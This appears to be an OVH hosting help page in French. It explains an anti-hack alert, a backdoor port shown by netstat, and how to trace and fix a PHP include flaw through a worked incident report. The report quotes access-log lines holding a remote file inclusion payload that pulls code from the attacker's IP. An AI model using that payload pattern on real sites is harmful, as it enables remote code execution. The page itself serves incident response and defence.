

Vous avez reçu un message d'alerte de notre système anti-hack

Comprendre les principes de ce système

- À quoi correspondent les lignes systèmes ?

Dans le mail que vous avez reçu, vous devez apercevoir quelques lignes système de ce type :

```
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat Utilisatr Inode PID/Program name
tcp ----- 0 ----- 0 ----- 0.0.0.0:2000 ----- 0.0.0.0:* LISTEN 1025 1241772069 12109/b
```

Elles vous sont communiquées comme preuve du hack réalisé sur votre site. Adresse locale "0.0.0.0:2000" signifie que le pirate a ouvert le port 2000 sur le serveur. Adresse distante "0.0.0.0:*" signifie que ce port accepte les connections venant de toutes les machines depuis n'importe quel port. Etat "LISTEN" signifie que ce port est actuellement à l'écoute, en attente de connection. Le numéro d'utilisateur correspond à votre UID sur le serveur d'OVH, c'est ainsi que nous avons pu savoir que ce programme a été lancé depuis votre site. Le nom du programme est de peu d'intérêt dans cette situation, les pirates utilisant souvent des noms de programmes aléatoires ou faux dans le but de tromper la vigilance des administrateurs.

- Pourquoi avoir fermé mon site ?

Il faut que vous sachiez que si votre site a été fermé, ce n'est nullement dans le but de vous punir, car vous êtes également une victime, mais plutôt dans celui de vous protéger. On peut penser qu'il nous suffirait de couper le programme (kill) et le problème serait réglé... L'expérience montre toutefois qu'une fois une faille trouvée sur un site, les hack se font plus fréquents, et généralement plus agressifs. Même si notre système surveille régulièrement l'état du serveur, il peut suffire de quelques secondes à un pirate pour causer des dommages importants sur votre site ou sur les serveurs. Par conséquent, il est préférable de trouver la faille et de la corriger avant toute réouverture. Notre système coupe tous les programmes apparentés à des hacks et ne ferme votre site que s'il s'avère que le pirate est toujours connecté au serveur ou s'il a laissé une backdoor (comme c'est le cas ci-dessus) lui permettant de se reconnecter très facilement. Nous empêchons ainsi le pirate de poursuivre ses opérations.

- Pourquoi OVH n'empêche pas ce genre d'attaque sur mon site ?

Dans ce genre d'attaque, le pirate n'a pas récupéré votre mot de passe et ne s'est pas introduit sur nos serveurs. Il a simplement profité d'une faille au niveau de votre site pour exécuter du code en passant par celui-ci. Aucune mesure de sécurité à notre niveau ne permet de bloquer directement ce genre d'attaque. Nous pourrions, il est vrai, limiter les possibilités offertes aux scripts hébergés sur nos serveurs afin de rendre ce genre de choses impossibles, mais ce genre de mesures auraient un effet secondaire : cela vous empêcherait d'utiliser certaines possibilités très intéressantes offertes par les nouveaux langages tels que PHP, perl et python, et compliquerait de façon générale la création de vos sites. Par conséquent, nous avons choisi de vous offrir le plus de liberté possible, et de contrôler en aval les problèmes éventuels afin de garantir la sécurité de votre site et de couper court aux tentatives de piratage.

- Comment trouver et corriger la faille ?

– Si vous utilisez un système populaire type phpBB, phpnuke, etc.

Sur ce genre de systèmes très populaires, les concepteurs font régulièrement des mises à jour comblant des failles de sécurité repérées par les utilisateurs. Mettez donc votre système à jour sur la dernière version, et veillez à vous tenir informé des futures mises à jours en vous abonnant à la mailing-list du site officiel par exemple. Si vous êtes déjà à la dernière version, n'hésitez pas à aller sur les forums officiels pour faire part de cette intrusion et la signaler ainsi aux concepteurs qui ne manqueront pas de proposer rapidement un correctif que vous vous empresserez d'appliquer.

– Si vous utilisez des scripts récupérés sur le net ou vos propres scripts dans un site que vous avez conçu
Le plus simple : vous pouvez faire appel à notre service d'infogérance en contactant le support OVH qui vous proposera un devis pour la recherche de la faille. Notre service infogérance pourra à l'occasion de cette intervention :

- localiser le script contenant la faille,
- récupérer toutes les informations possibles sur l'origine de l'attaque,
- trouver la faille au sein du script défaillant,
- vous faire un résumé du cheminement suivi et de la méthode mise en oeuvre pour trouver la faille,
- vous proposer quelques mesures de protection et de correction pour vous mettre à l'abri.

Si vous souhaitez chercher par vous-même : il n'est pas possible de faire une procédure détaillée permettant de localiser à coup sûr l'origine de toute intrusion, mais voici comment procéder de façon générale, en s'appuyant sur le fait que l'attaque a pour origine une faille de script et donc que le pirate est passé par une requête HTTP. Toutes les requêtes HTTP sont disponibles dans vos logs (http://logs.ovh.net/votre_domaine) : remplacez "votre_domaine" par votre nom de domaine et son extension. ex: ovh.com.

- 1) Relevez la date et l'heure du mail d'alerte que vous avez reçu.
- 2) Consultez vos logs en partant de cet horaire et en élargissant progressivement le champ de recherche sur des horaires antérieurs jusqu'à repérer une entrée incorrecte (étrange, différente des autres, etc..). Cela peut demander un peu de pratique ou de connaissance du format des requêtes suivant les cas.
- 3) Relevez le script attaqué par cette requête.
- 4) Etudiez le script pour y localiser la faille.
- 5) Corrigez.

Exemple

Nous vous présentons ici le bilan d'une intervention d'infogérance effectuée pour un de nos clients mutualisé. Vous pouvez ainsi avoir une idée de ce que nous vous proposons dans nos interventions ou du cheminement à suivre lors de vos recherches. Il s'agit ici d'une faille d'include très classique et assez simple à localiser :

Bonjour,

Voici le résultat de nos investigations :

1/ On fouille les logs de connection :

si on regarde dans les logs aux dates et heures que je vous ai indiquées, on trouve une entrée suspecte du même type dans les deux cas :

```
65.39.172.139 www.*****.net - "GET /XII_IWB/index.php?page=http://65.39.172.139:113/2
HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"
```

```
65.39.172.139 www.*****.net - "GET /XII_IWB/index.php?page=http://65.39.172.139:113/3
HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"
```

Ces entrées sont suspectes, car on remarque que le paramètre page entré dans l'URL est une adresse distante et attaque un port non standard (le port HTTP est le 80 et ici c'est le 113 qui est attaqué) :
index.php?page=http://65.39.172.139:113/4

Le script vulnérable est : "index.php" dans le répertoire "XII_IWB"

2/ On remonte la piste de l'attaquant, cela peut servir pour le dépôt d'une plainte ou pour contacter l'hébergeur de l'attaquant afin que celui-ci mette fin à l'hébergement du hackeur :

65.39.172.139 est sans doute l'adresse IP de l'attaquant. Cette adresse n'a pas de reverse (nom de machine) associé, mais le SOA donne :
172.39.65.in-addr.arpa. 10800 IN SOA ns1.peer1.net

Le contact administratif correspondant à peer1.net est :

Administrative Contact:
Administrator, Domain domains@peer1.net
1600-555 West Hastings Street
Vancouver, BC V6B 4N5
CA
(604) 683-7747

Il peut être bon de contacter cette société par rapport à ce problème en leur communiquant les dates et heures des attaques ainsi que l'IP concernée.

3/ On regarde le compte et plus précisément le script incriminé pour trouver la faille et éventuellement d'autres choses suspectes :

Tout d'abord, on remarque trois répertoires étranges à la racine du répertoire XII_IWB :

```
drwxr-xr-x 13 ***** users 4096 jun 17 13:54
drwxr-xr-x 13 ***** users 4096 jun 17 13:54
drwxr-xr-x 13 ***** users 4096 jun 17 13:55
```

Ces trois répertoires portent des noms composés de caractères d'espacement. Il peut s'agir de répertoires laissés par le hackeur. Souhaitez-vous que je les supprime ? On examine ensuite le fichier index.php : celui-ci contient effectivement un paramètre \$page qui est ensuite inclus dans le script par une instruction include (). Le contrôle fait sur ce paramètre est très insuffisant sachant qu'il sera repris dans une commande include et peut par conséquent permettre l'exécution de code malveillant.

4/ Suggestion pour combler la faille et améliorer la sécurité : une première solution peut être de bloquer l'IP de l'attaque vu que c'est toujours la même, mais il s'agit d'une solution temporaire, étant donné qu'un autre attaquant pourrait profiter de la même faille.

Pour savoir comment bloquer une IP sur votre site : HtaccessProtectIP.

Il est ensuite impératif de combler la faille d'include. Pour cela, il suffit de contrôler le format du paramètre

"page" entré dans l'URL. Si ce paramètre doit avoir un format particulier (composé exclusivement de lettres par exemple), utilisez une expression régulière pour contrôler que le format correspond. Si les formats sont divers, assurez-vous au moins qu'il ne contient pas de caractères spéciaux tels que / ou qu'il ne contienne pas la suite http://, cela limitera déjà considérablement les possibilités de contournement. N'hésitez pas à vérifier sur l'ensemble de vos scripts que ce genre de faille d'include n'est pas présente, et de manière générale, contrôlez de façon stricte tout paramètre entré par le visiteur ou passé par une URL.